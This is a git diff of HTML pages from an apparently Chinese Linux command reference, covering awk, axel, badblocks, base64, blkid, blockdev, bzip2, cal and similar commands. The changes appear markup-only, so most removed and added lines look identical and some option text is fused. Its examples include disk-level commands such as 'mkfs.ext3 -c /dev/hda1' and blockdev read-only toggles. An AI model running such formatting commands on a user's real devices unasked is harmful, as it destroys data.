    - - + + \ No newline at end of file diff --git a/c/awk.html b/c/awk.html index e7f5a7c8ee..1ef2388eb8 100644 --- a/c/awk.html +++ b/c/awk.html @@ -9,7 +9,7 @@ awk 命令,Linux awk 命令详解:文本和数据进行处理的编程语言 - Linux 命令搜索引擎 - + @@ -120,7 +120,7 @@ customElements.define('markdown-style', MarkdownStyle);awk命令格式和选项

    语法形式

    awk [options] 'script' var=value file(s)
    -awk [options] -f scriptfile var=value file(s)
    +awk [options] -f scriptfile var=value file(s)
     
    @@ -170,7 +170,7 @@ awk [options] -f scriptfile var=value file(s)

    END语句块 在awk从输入流中读取完所有的行 之后 即被执行,比如打印所有行的分析结果这类信息汇总都是在END语句块中完成,它也是一个可选语句块。

    pattern语句块 中的通用命令是最重要的部分,它也是可选的。如果没有提供pattern语句块,则默认执行{ print },即打印每一个读取到的行,awk读取的每一行都会执行该语句块。

    示例

    -
    echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }'
    +
    echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }'
     Start
     A line 1
     A line 2
    @@ -258,7 +258,7 @@ v1=v2=v3
     \c 取消换行
     " class="copied">

    示例

    -
    echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | awk '{print "Line No:"NR", No of fields:"NF, "$0="$0, "$1="$1, "$2="$2, "$3="$3}' 
    +
    echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | awk '{print "Line No:"NR", No of fields:"NF, "$0="$0, "$1="$1, "$2="$2, "$3="$3}' 
     Line No:1, No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3
     Line No:2, No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5
     Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7
    @@ -268,14 +268,14 @@ Line No:2, No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5
     Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7
     " class="copied">

    使用print $NF可以打印出一行中的最后一个字段,使用$(NF-1)则是打印倒数第二个字段,其他以此类推:

    -
    echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $NF}'
    +
    echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $NF}'
     f3
     f5
     
    -
    echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $(NF-1)}'
    +
    echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $(NF-1)}'
     f2
     f4
     
    @@ -316,7 +316,7 @@ f4
     

    将外部变量值传递给awk

    借助 -v选项 ,可以将外部值(并非来自stdin)传递给awk:

    VAR=10000
    -echo | awk -v VARIABLE=$VAR '{ print VARIABLE }'
    +echo | awk -v VARIABLE=$VAR '{ print VARIABLE }'
     
    @@ -334,7 +334,7 @@ echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2 " class="copied">

    以上方法中,变量之间用空格分隔作为awk的命令行参数跟随在BEGIN、{}和END语句块之后。

    查找进程pid

    -
    netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}'
    +
    netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}'
     

    awk运算与判断

    @@ -1429,7 +1429,7 @@ drwxr-xr-x 95 root root 4096 10-08 14:01 .. - - + + \ No newline at end of file diff --git a/c/axel.html b/c/axel.html index c76f98d72a..f2e9113eb0 100644 --- a/c/axel.html +++ b/c/axel.html @@ -9,7 +9,7 @@ axel 命令,Linux axel 命令详解:多线程下载工具 - Linux 命令搜索引擎 - + @@ -121,14 +121,14 @@ customElements.define('markdown-style', MarkdownStyle);CentOS安装Axel:

    目前yum源上没有Axel,我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。

    32位CentOS执行下面命令:

    -
    wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm
    -rpm -ivh axel-2.4-1.el5.rf.i386.rpm
    +
    wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm
    +rpm -ivh axel-2.4-1.el5.rf.i386.rpm
     

    64位CentOS执行下面命令:

    -
    wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm
    -rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm
    +
    wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm
    +rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm
     
    @@ -141,18 +141,18 @@ rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm

    选项

    -
    --max-speed=x , -s x         # 最高速度x
    ---num-connections=x , -n x   # 连接数x
    ---output=f , -o f            # 下载为本地文件f
    ---search[=x] , -S [x]        # 搜索镜像
    ---header=x , -H x            # 添加头文件字符串x(指定 HTTP header)
    ---user-agent=x , -U x        # 设置用户代理(指定 HTTP user agent)
    ---no-proxy , -N             # 不使用代理服务器
    ---quiet , -q                # 静默模式
    ---verbose ,-v               # 更多状态信息
    ---alternate , -a            # Alternate progress indicator
    ---help ,-h                  # 帮助
    ---version ,-V               # 版本信息
    +
    --max-speed=x , -s x         # 最高速度x
    +--num-connections=x , -n x   # 连接数x
    +--output=f , -o f            # 下载为本地文件f
    +--search[=x] , -S [x]        # 搜索镜像
    +--header=x , -H x            # 添加头文件字符串x(指定 HTTP header)
    +--user-agent=x , -U x        # 设置用户代理(指定 HTTP user agent)
    +--no-proxy , -N             # 不使用代理服务器
    +--quiet-q                # 静默模式
    +--verbose ,-v               # 更多状态信息
    +--alternate-a            # Alternate progress indicator
    +--help ,-h                  # 帮助
    +--version ,-V               # 版本信息
     

    实例

    如下载lnmp安装包指定10个线程,存到 /tmp/

    -
    axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz
    +
    axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz
     

    如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。

    - - + + \ No newline at end of file diff --git a/c/badblocks.html b/c/badblocks.html index c1d4b909a8..5fdca248d8 100644 --- a/c/badblocks.html +++ b/c/badblocks.html @@ -9,7 +9,7 @@ badblocks 命令,Linux badblocks 命令详解:查找磁盘中损坏的区块 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    badblocks以 4096 的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。

    -
    badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list
    +
    badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list
     

    hda-badblocks-list是个文本文件,内容如下:

    @@ -165,7 +165,7 @@ customElements.define('markdown-style', MarkdownStyle);

    可以针对可疑的区块多做几次操作。下面,badblocks以4096字节为一个“block”,每一个“block”检查1次, 将结果输出到“hda-badblocks-list.1”文件中,由第51000 block开始,到63000 block结束。

    -
    badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000
    +
    badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000
     

    这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。

    @@ -177,12 +177,12 @@ customElements.define('markdown-style', MarkdownStyle);

    2、在创建文件系统前检测坏道

    badblocks可以随e2fsck和mke2fs的-c删除一起运行(对ext3文件系统也一样),在创建文件系统前就先检测坏道信息:

    -
    mkfs.ext3 -c /dev/hda1
    +
    mkfs.ext3 -c /dev/hda1
     

    代码表示使用-c在创建文件系统前检查坏道的硬盘。

    这个操作已经很清楚地告知我们可以采用mkfs.ext3 -c选项用read-only方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。

    - - + + \ No newline at end of file diff --git a/c/base64.html b/c/base64.html index 10d9ff8cfd..4c729b0faa 100644 --- a/c/base64.html +++ b/c/base64.html @@ -9,7 +9,7 @@ base64 命令,Linux base64 命令详解:base64 编码/解码文件或标准输入输出 - Linux 命令搜索引擎 - + @@ -122,12 +122,12 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    -
    -d, --decode         # 解码
    +
    -d, --decode         # 解码
     -i, --ignore-garbage # 解码时,忽略非字母字符
    --w, --wrap=COLS      # 在指定的字符数后自动换行(默认为76), 0 为禁用自动换行
    +-w, --wrap=COLS      # 在指定的字符数后自动换行(默认为76), 0 为禁用自动换行
     
    ---help      # 显示此帮助说明并退出
    ---version   # 输出版本信息并退出
    +--help      # 显示此帮助说明并退出
    +--version   # 输出版本信息并退出
     

    解码

    -
    printf Zm9v|base64 -d
    +
    printf Zm9v|base64 -d
     

    解码文件

    -
    base64 -d file
    +
    base64 -d file
     
    - - + + \ No newline at end of file diff --git a/c/basename.html b/c/basename.html index 45e7fb6625..1d8b6394d1 100644 --- a/c/basename.html +++ b/c/basename.html @@ -9,7 +9,7 @@ basename 命令,Linux basename 命令详解:打印目录或者文件的基本名称 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ customElements.define('markdown-style', MarkdownStyle);

    此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。

    - - + + \ No newline at end of file diff --git a/c/batch.html b/c/batch.html index c9d62a1ee4..88765843c6 100644 --- a/c/batch.html +++ b/c/batch.html @@ -9,7 +9,7 @@ batch 命令,Linux batch 命令详解:在系统不繁忙的时候执行定时任务 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ at> echo 1234 at> job 5 at Sun Apr 28 08:49:00 2013 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/bc.html b/c/bc.html index 9fb21b12a4..7bb7501562 100644 --- a/c/bc.html +++ b/c/bc.html @@ -9,7 +9,7 @@ bc 命令,Linux bc 命令详解:算术操作精密运算工具 - Linux 命令搜索引擎 - + @@ -182,7 +182,7 @@ echo "obase=10;ibase=2;$abc" | bc
    - - + + \ No newline at end of file diff --git a/c/bg.html b/c/bg.html index c8a63f709e..3aa22b02db 100644 --- a/c/bg.html +++ b/c/bg.html @@ -9,7 +9,7 @@ bg 命令,Linux bg 命令详解:将前台终端作业移动到后台运行 - Linux 命令搜索引擎 - + @@ -160,7 +160,7 @@ bg %1
  • 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitorset -m开启该选项。
  • 该命令是bash内建命令,相关的帮助信息请查看help命令。
  • - - + + \ No newline at end of file diff --git a/c/bind.html b/c/bind.html index 6127de3733..9a8e14c3c8 100644 --- a/c/bind.html +++ b/c/bind.html @@ -9,7 +9,7 @@ bind 命令,Linux bind 命令详解:显示或设置键盘按键与其相关的功能 - Linux 命令搜索引擎 - + @@ -136,11 +136,11 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    -
    bind -x '"\C-l":ls -l'    #直接按 CTRL+L 就列出目录
    +
    bind -x '"\C-l":ls -l'    #直接按 CTRL+L 就列出目录
     

    其中keyseq可以使用showkey -a命令来获取:

    -
    showkey -a
    +
    showkey -a
     
     Press any keys - Ctrl-D will terminate this program
     
    @@ -181,7 +181,7 @@ Press any keys - Ctrl-D will terminate this program
     ^C        3 0003 0x03 Ctrl-C
     ^D        4 0004 0x04 Ctrl-D 退出
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/blkid.html b/c/blkid.html index 365c3f2a32..4bd988bbea 100644 --- a/c/blkid.html +++ b/c/blkid.html @@ -9,7 +9,7 @@ blkid 命令,Linux blkid 命令详解:查看块设备的文件系统类型、LABEL、UUID等信息 - Linux 命令搜索引擎 - + @@ -118,37 +118,37 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    在Linux下可以使用 blkid命令 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。

    语法

    -
    blkid -L | -U
    +
    blkid -L | -U
     blkid [-c ] [-ghlLv] [-o] [-s ][-t ] -[w ] [ ...]
    -blkid -p [-s ] [-O ] [-S ][-o] ...
    -blkid -i [-s ] [-o] ...
    +blkid -p [-s ] [-O ] [-S ][-o] ...
    +blkid -i [-s ] [-o] ...
     

    选项

    -
    -c <file>   # 指定cache文件(default: /etc/blkid.tab, /dev/null = none)
    --d          # don't encode non-printing characters
    --h          # 显示帮助信息
    --g          # garbage collect the blkid cache
    --o <format> # 指定输出格式
    --k          # list all known filesystems/RAIDs and exit
    --s <tag>    # 显示指定信息,默认显示所有信息
    --t <token>  # find device with a specific token (NAME=value pair)
    --l          # look up only first device with token specified by -t
    --L <label>  # convert LABEL to device name
    --U <uuid>   # convert UUID to device name
    --v          # 显示版本信息
    --w <file>   # write cache to different file (/dev/null = no write)
    +
    -c <file>   # 指定cache文件(default: /etc/blkid.tab, /dev/null = none)
    +-d          # don't encode non-printing characters
    +-h          # 显示帮助信息
    +-g          # garbage collect the blkid cache
    +-o <format> # 指定输出格式
    +-k          # list all known filesystems/RAIDs and exit
    +-s <tag>    # 显示指定信息,默认显示所有信息
    +-t <token>  # find device with a specific token (NAME=value pair)
    +-l          # look up only first device with token specified by -t
    +-L <label>  # convert LABEL to device name
    +-U <uuid>   # convert UUID to device name
    +-v          # 显示版本信息
    +-w <file>   # write cache to different file (/dev/null = no write)
     <dev>       # specify device(s) to probe (default: all devices)
     Low-level probing options:
    --p          # low-level superblocks probing (bypass cache)
    --i          # gather information about I/O limits
    --S <size>   # overwrite device size
    --O <offset> # probe at the given offset
    --u <list>   # filter by "usage" (e.g. -u filesystem,raid)
    --n <list>   # filter by filesystem type (e.g. -n vfat,ext3)
    +-p          # low-level superblocks probing (bypass cache)
    +-i          # gather information about I/O limits
    +-S <size>   # overwrite device size
    +-O <offset> # probe at the given offset
    +-u <list>   # filter by "usage" (e.g. -u filesystem,raid)
    +-n <list>   # filter by filesystem type (e.g. -n vfat,ext3)
     

    2、显示指定设备 UUID:

    -
    sudo blkid -s UUID /dev/sda5
    +
    sudo blkid -s UUID /dev/sda5
     

    3、显示所有设备 UUID:

    -
    sudo blkid -s UUID
    +
    sudo blkid -s UUID
     

    4、显示指定设备 LABEL:

    -
    sudo blkid -s LABEL /dev/sda5
    +
    sudo blkid -s LABEL /dev/sda5
     

    5、显示所有设备 LABEL:

    -
    sudo blkid -s LABEL
    +
    sudo blkid -s LABEL
     

    6、显示所有设备文件系统:

    -
    sudo blkid -s TYPE
    +
    sudo blkid -s TYPE
     

    7、显示所有设备:

    -
    sudo blkid -o device
    +
    sudo blkid -o device
     

    8、以列表方式查看详细信息:

    -
    sudo blkid -o list
    +
    sudo blkid -o list
     
    - - + + \ No newline at end of file diff --git a/c/blockdev.html b/c/blockdev.html index a356375b6d..8a0121c5ff 100644 --- a/c/blockdev.html +++ b/c/blockdev.html @@ -9,7 +9,7 @@ blockdev 命令,Linux blockdev 命令详解:从命令行调用区块设备控制程序 - Linux 命令搜索引擎 - + @@ -145,18 +145,18 @@ customElements.define('markdown-style', MarkdownStyle);设备文件名:指定要操作的磁盘的设备文件名。

    实例

    设置设备为只读:

    -
    blockdev --setro /dev/hda4
    +
    blockdev --setro /dev/hda4
     

    读取设备是否为只读:

    -
    blockdev --getro /dev/hda4
    +
    blockdev --getro /dev/hda4
     

    设置设别为可读写:

    -
    blockdev --setrw /dev/hda4
    +
    blockdev --setrw /dev/hda4
     
    - - + + \ No newline at end of file diff --git a/c/bmodinfo.html b/c/bmodinfo.html index 10e6870776..c38201372e 100644 --- a/c/bmodinfo.html +++ b/c/bmodinfo.html @@ -9,7 +9,7 @@ bmodinfo 命令,Linux bmodinfo 命令详解:显示给定模块的详细信息 - Linux 命令搜索引擎 - + @@ -162,7 +162,7 @@ alias: char-major-21-* vermagic: 2.6.9-42.ELsmp SMP 686 REGPARM 4KSTACKS gcc-3.4 depends: scsi_mod " class="copied">
    - - + + \ No newline at end of file diff --git a/c/break.html b/c/break.html index 7854657293..f302b7b220 100644 --- a/c/break.html +++ b/c/break.html @@ -9,7 +9,7 @@ break 命令,Linux break 命令详解:结束for,while或until循环。 - Linux 命令搜索引擎 - + @@ -188,7 +188,7 @@ done
    1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
    - - + + \ No newline at end of file diff --git a/c/builtin.html b/c/builtin.html index 100ef4a75f..3c439348d4 100644 --- a/c/builtin.html +++ b/c/builtin.html @@ -9,7 +9,7 @@ builtin 命令,Linux builtin 命令详解:执行bash内建命令。 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);# 此时内建命令优先使用 echo "the Great Wall" # 调用内建命令type,返回命令的类型(builtin) -type -t echo +type -t echo # 定义 echo 函数 echo(){ printf "123\n" @@ -144,9 +144,9 @@ customElements.define('markdown-style', MarkdownStyle);# 此时同名函数优先使用,显示(123) echo # 调用内建命令type,返回命令的类型(function) -type -t echo +type -t echo # 此时内建命令优先使用 -builtin echo -e "backslash \\" +builtin echo -e "backslash \\"
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -262,7 +262,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/bunzip2.html b/c/bunzip2.html index dd5b2e1729..47da76fcb6 100644 --- a/c/bunzip2.html +++ b/c/bunzip2.html @@ -9,7 +9,7 @@ bunzip2 命令,Linux bunzip2 命令详解:创一个bz2文件压缩包 - Linux 命令搜索引擎 - + @@ -137,11 +137,11 @@ customElements.define('markdown-style', MarkdownStyle);.bz2压缩包:指定需要解压缩的.bz2压缩包。

    实例

    /opt目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息。

    -
    bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip
    +
    bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip
     

    压缩完毕后,在/opt下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。

    - - + + \ No newline at end of file diff --git a/c/bye.html b/c/bye.html index bc14ac9926..b48b0f6d54 100644 --- a/c/bye.html +++ b/c/bye.html @@ -9,7 +9,7 @@ bye 命令,Linux bye 命令详解:命令用于中断FTP连线并结束程序 - Linux 命令搜索引擎 - + @@ -125,7 +125,7 @@ customElements.define('markdown-style', MarkdownStyle);bye
    - - + + \ No newline at end of file diff --git a/c/bzcat.html b/c/bzcat.html index 502876edc6..7346932e30 100644 --- a/c/bzcat.html +++ b/c/bzcat.html @@ -9,7 +9,7 @@ bzcat 命令,Linux bzcat 命令详解:解压缩指定的.bz2文件 - Linux 命令搜索引擎 - + @@ -125,7 +125,7 @@ customElements.define('markdown-style', MarkdownStyle);.bz2压缩文件:指定要显示内容的.bz2压缩文件。

    实例

    /tmp/man.config以bzip2格式压缩:

    -
    bzip2 -z man.config
    +
    bzip2 -z man.config
     

    此时man.config会变成man.config.bz2

    @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);

    此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容。

    - - + + \ No newline at end of file diff --git a/c/bzcmp.html b/c/bzcmp.html index cb3781860c..1a4e6d6f03 100644 --- a/c/bzcmp.html +++ b/c/bzcmp.html @@ -9,7 +9,7 @@ bzcmp 命令,Linux bzcmp 命令详解:比较两个压缩包中的文件 - Linux 命令搜索引擎 - + @@ -126,7 +126,7 @@ customElements.define('markdown-style', MarkdownStyle);文件1:指定要比较的第一个.bz2压缩包;
  • 文件2:指定要比较的第二个.bz2压缩包。
  • - - + + \ No newline at end of file diff --git a/c/bzdiff.html b/c/bzdiff.html index 376d7aebd6..45c883b7a4 100644 --- a/c/bzdiff.html +++ b/c/bzdiff.html @@ -9,7 +9,7 @@ bzdiff 命令,Linux bzdiff 命令详解:直接比较两个.bz2压缩包中文件的不同 - Linux 命令搜索引擎 - + @@ -126,7 +126,7 @@ customElements.define('markdown-style', MarkdownStyle);文件1:指定要比较的第一个.bz2压缩包;
  • 文件2:指定要比较的第二个.bz2压缩包。
  • - - + + \ No newline at end of file diff --git a/c/bzgrep.html b/c/bzgrep.html index 606a90a99c..3b7c64870c 100644 --- a/c/bzgrep.html +++ b/c/bzgrep.html @@ -9,7 +9,7 @@ bzgrep 命令,Linux bzgrep 命令详解:使用正则表达式搜索.bz2压缩包中文件 - Linux 命令搜索引擎 - + @@ -126,7 +126,7 @@ customElements.define('markdown-style', MarkdownStyle);搜索模式:指定要搜索的模式;
  • .bz2文件:指定要搜索的.bz2压缩包。
  • - - + + \ No newline at end of file diff --git a/c/bzip2.html b/c/bzip2.html index 36246f8f78..8f75087153 100644 --- a/c/bzip2.html +++ b/c/bzip2.html @@ -9,7 +9,7 @@ bzip2 命令,Linux bzip2 命令详解:将文件压缩成bz2格式 - Linux 命令搜索引擎 - + @@ -139,45 +139,45 @@ anyothername 解压成 anyothername.out

    bzip2 采用 32 位 CRC 校验码作自我检查,以确认解压后的文件与原始文件相同。 这可用于检测压缩文件是否损坏,并防止 bzip2 中未知的缺陷(运气好的话这种可能性非常小)。 数据损坏而未检测到的几率非常之小, 对于每个被处理的文件大约是四十亿分之一。 检查是在解压缩时进行的,因此它只能说明某个地方出问题了。 它能帮助恢复原始未压缩的数据。可以用 bzip2recover 来尝试从损坏的文件中恢复数据。

    返回值:正常退出返回 0, 出现环境问题返回 1 (文件未找到,非法的选项,I/O错误等), 返回 2 表明压缩文件损坏,出现导致 bzip2 紧急退出的内部一致性错误(例如缺陷)时返回 3。

    语法

    -
    bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ...  ]
    +
    bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ...  ]
     

    选项

    -
    -c --stdout
    +
    -c --stdout
         # 将数据压缩或解压缩至标准输出。
     
    --d --decompress
    +-d --decompress
         # 强制解压缩。 bzip2, bunzip2 以及 bzcat 实际上是同一个程序,进行何种操作将根据程序名确定。  指定该选项后将不考虑这一机制,强制 bzip2 进行解压缩。
     
    --z --compress
    +-z --compress
         # -d 选项的补充:强制进行压缩操作,而不管执行的是哪个程序。
     
    --t --test
    +-t --test
         # 检查指定文件的完整性,但并不对其解压缩。 实际上将对数据进行实验性的解压缩操作,而不输出结果。
     
    --f --force
    +-f --force
         # 强制覆盖输出文件。通常 bzip2 不会覆盖已经存在的文件。该选项还强制 bzip2 打破文件的硬连接,缺省情况下 bzip2 不会这么做。
     
    --k --keep
    +-k --keep
         # 在压缩或解压缩时保留输入文件(不删除这些文件)。
     
    --s --small
    +-s --small
         # 在压缩、解压缩及检查时减少内存用量。采用一种修正的算法进行压缩和测试,每个数据块仅需要 2.5 个字节。这意味着任何文件都可以在 2300k
         # 的内存中进行解压缩, 尽管速度只有通常情况下的一半。
     
         # 在压缩时,-s将选定 200k 的块长度,内存用量也限制在 200k 左右, 代价是压缩率会降低。 总之,如果机器的内存较少(8兆字节或更少),
         # 可对所有操作都采用-s选项。参见下面的内存管理。
     
    --q --quiet
    +-q --quiet
         # 压制不重要的警告信息。属于 I/O 错误及其它严重事件的信息将不会被压制。
     
    --v --verbose
    +-v --verbose
         # 详尽模式 -- 显示每个被处理文件的压缩率。 命令行中更多的 -v 选项将增加详细的程度, 使 bzip2 显示出许多主要用于诊断目的信息。
     
    --L --license -V --version
    +-L --license -V --version
         # 显示软件版本,许可证条款及条件。
     
    --1 to -9
    +-1 to -9
         # 在压缩时将块长度设为 100 k、200 k ..  900 k。 对解压缩没有影响。参见下面的内存管理。
     
     -- # 将所有后面的命令行变量看作文件名,即使这些变量以减号"-"打头。 可用这一选项处理以减号"-"打头的文件名, 例如:bzip2 -- -myfilename.
    @@ -234,14 +234,14 @@ anyothername    解压成   anyothername.out
     

    压缩指定文件filename:

    bzip2 filename
     或
    -bzip2 -z filename
    +bzip2 -z filename
     

    这里,压缩的时候不会输出,会将原来的文件filename给删除,替换成filename.bz2.如果以前有filename.bz2则不会替换并提示错误(如果想要替换则指定-f选项,例如bzip2 -f filename;如果filename是目录则也提醒错误不做任何操作;如果filename已经是压过的了有bz2后缀就提醒一下,不再压缩,没有bz2后缀会再次压缩。

    解压指定的文件filename.bz2:

    -
    bzip2 -d filename.bz2
    +
    bzip2 -d filename.bz2
     bunzip2 filename.bz2
     

    这里,解压的时候没标准输出,会将原来的文件filename.bz2给替换成filename。如果以前有filename则不会替换并提示错误(如果想要替换则指定-f选项,例如bzip2 -df filename.bz2

    压缩解压的时候将结果也输出:

    -
    $bzip2 -v filename
    +
    $bzip2 -v filename
     

    输入之后,输出如下:

    @@ -259,7 +259,7 @@ bunzip2 filename.bz2 " class="copied">

    这里,加上-v选项就会输出了,只用压缩举例了,解压的时候同理bzip2 -dv filename.bz2不再举例了。

    模拟解压实际并不解压:

    -
    bzip2 -tv filename.bz2
    +
    bzip2 -tv filename.bz2
     

    输入之后,输出如下:

    @@ -268,12 +268,12 @@ bunzip2 filename.bz2 " class="copied">

    这里,-t指定要进行模拟解压,不实际生成结果,也就是说类似检查文件,当然就算目录下面有filename也不会有什么错误输出了,因为它根本不会真的解压文件。为了在屏幕上输出,这里加上-v选项了,如果是真的解压bzip2 -dv filename.bz2则输出的是把"ok"替换成了"done"。

    压缩解压的时候,除了生成结果文件,将原来的文件也保存:

    -
    bzip2 -k filename
    +
    bzip2 -k filename
     

    这里,加上-k就保存原始的文件了,否则原始文件会被结果文件替代。只用压缩举例了,解压的时候同理$bzip2 -dk filename.bz2不再举例了。

    解压到标准输出:

    -
    bzip2 -dc filename.bz2
    +
    bzip2 -dc filename.bz2
     

    输入之后,输出如下:

    @@ -282,7 +282,7 @@ bunzip2 filename.bz2 " class="copied">

    这里,使用-c指定到标准输出,输出的是文件filename的内容,不会将filename.bz2删除。

    压缩到标准输出:

    -
    bzip2 -c filename
    +
    bzip2 -c filename
     bzip2: I won't write compressed data to a terminal.
     bzip2: For help, type: `bzip2 --help'.
     

    这里,使用-c指定压缩到标准输出不删除原有文件,不同的是,压缩后的文件无法输出到标准输出。

    使用bzip2的时候将所有后面的看作文件(即使文件名以'-'开头):

    -
    bzip2 -- -myfilename
    +
    bzip2 -- -myfilename
     

    这里主要是为了防止文件名中-产生以为是选项的歧义。

    - - + + \ No newline at end of file diff --git a/c/bzip2recover.html b/c/bzip2recover.html index f8b41f7f66..10476ae967 100644 --- a/c/bzip2recover.html +++ b/c/bzip2recover.html @@ -9,7 +9,7 @@ bzip2recover 命令,Linux bzip2recover 命令详解:恢复被破坏的.bz2压缩包中的文件 - Linux 命令搜索引擎 - + @@ -124,7 +124,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要恢复数据的.bz2压缩包。

    - - + + \ No newline at end of file diff --git a/c/bzless.html b/c/bzless.html index ce97f78da9..de05c038e4 100644 --- a/c/bzless.html +++ b/c/bzless.html @@ -9,7 +9,7 @@ bzless 命令,Linux bzless 命令详解:增强.bz2压缩包查看器 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要分屏显示的.bz2压缩包。

    - - + + \ No newline at end of file diff --git a/c/bzmore.html b/c/bzmore.html index 5995a4034c..6918039bd1 100644 --- a/c/bzmore.html +++ b/c/bzmore.html @@ -9,7 +9,7 @@ bzmore 命令,Linux bzmore 命令详解:查看bzip2压缩过的文本文件的内容 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要分屏显示的.bz2压缩包。

    - - + + \ No newline at end of file diff --git a/c/cal.html b/c/cal.html index 3a88889a0f..4f4d5ac3a4 100644 --- a/c/cal.html +++ b/c/cal.html @@ -9,7 +9,7 @@ cal 命令,Linux cal 命令详解:显示当前日历或指定日期的日历 - Linux 命令搜索引擎 - + @@ -127,16 +127,16 @@ customElements.define('markdown-style', MarkdownStyle);

    语法

    -
    cal [ -mjy ] [ 月份 ] [ 年份 ]
    +
    cal [ -mjy ] [ 月份 ] [ 年份 ]
     

    选项

    -
    -l # 显示单月输出;
    --3 # 显示临近三个月的日历;
    --s # 将星期日作为月的第一天;
    --m # 显示星期一作为一周的第一天..  (缺省为星期日.)
    --j # 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) .
    --y # 显示当前年份的日历..
    +
    -l # 显示单月输出;
    +-3 # 显示临近三个月的日历;
    +-s # 将星期日作为月的第一天;
    +-m # 显示星期一作为一周的第一天..  (缺省为星期日.)
    +-j # 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) .
    +-y # 显示当前年份的日历..
     
    - - + + \ No newline at end of file diff --git a/c/cancel.html b/c/cancel.html index 2772806ffa..a36877ba9e 100644 --- a/c/cancel.html +++ b/c/cancel.html @@ -9,7 +9,7 @@ cancel 命令,Linux cancel 命令详解:取消已存在的打印任务 - Linux 命令搜索引擎 - + @@ -135,7 +135,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    打印任务号:指定要取消的打印任务编号。

